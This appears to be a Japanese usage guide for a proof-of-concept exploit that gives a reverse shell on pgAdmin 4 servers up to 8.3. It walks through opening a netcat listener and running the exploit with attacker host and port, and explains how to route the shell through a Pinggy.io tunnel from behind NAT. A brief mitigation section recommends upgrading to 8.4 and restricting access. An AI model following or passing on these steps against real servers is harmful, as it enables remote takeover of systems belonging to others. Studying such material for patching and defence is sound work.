前提条件 (Prerequisites)

• ターゲット: Linux/POSIXで動作するpgAdmin 4 <= 8.3 (サーバーモード)。
• アクセス: 有効なログインアカウント(ユーザー名とパスワード)が必要です。
• スクリプトの依存関係: Python 3およびrequestsライブラリ。

使用ガイド

オプション A: パブリックIPを直接使用する場合 (ローカル/VPN)

1. reverse shell接続を受信するために、マシンでnetcatポートを開きます:
   root@kitploit:~

   nc -lvnp 4444
   

2. エクスプロイトスクリプトを実行します:
   root@kitploit:~

   python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
   

オプション B: ポートフォワーディングを使用する場合 (Pinggy.io)

マシンがNAT/ルーターの背後にあり、パブリックトンネリングが必要な場合は、以下の手順でPinggy.ioサービスを使用できます:

1. ローカルNetcatリスナーを実行

まず、選択したポート(例: ポート1337)を使用して、ローカルマシンでncを起動します:

2. Pinggyトンネルを実行

新しいターミナルを開き、Pinggy SSHコマンドを実行します。末尾のローカルポート(1337)が、先ほど起動したncのポートと一致していることを確認してください:

接続後、PinggyはパブリックTCP URLを提供します。例えば: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143

注: Pinggyから取得したパブリックポートは43143です(これが後で-lportになります)。

3. Pinggyの実際のIPを検索 (LHOSTの取得)

ターゲットのpgAdmin 4サーバーは、reverse shellソケット接続のために実際のIPアドレス形式を必要とします。Pinggy URLのドメインに対してnslookupを実行します:

出力にはPinggyサーバーのパブリックIPが表示されます(最上部のAddressセクションのIPv4を選択してください):

上記の出力から、Pinggyの実際のIP 172.236.148.125が取得できました。

4. エクスプロイトスクリプトを実行

nslookupの結果のIPを-lhostとして、Pinggyのパブリックポートを-lportとして入力し、PoCスクリプトを実行します:

スクリプトオプションパラメータ

• -t, --target : pgAdmin 4のターゲットURL (必須)。
• -u, --username: ログイン用メール/ユーザー名 (デフォルト: [email protected])。
• -p, --password: ログインパスワード (デフォルト: player123)。
• -lhost : 攻撃者のIPアドレス / Pinggyのnslookup結果IP (必須)。
• -lport : 攻撃者のリスナーポート / Pinggyのパブリックポート (必須)。

緩和策

この脆弱性はpgAdmin 4バージョン8.4で修正されています。脆弱なサーバーを管理している場合は、直ちに以下の措置を講じてください:

1. pgAdmin 4を8.4以降に更新してください。
2. VPNまたはFirewall Whitelistを使用して、pgAdmin 4パネルへのネットワークアクセスを制限してください。
3. pgAdmin 4プロセスが通常のユーザー権限(非root)で実行されていることを確認してください。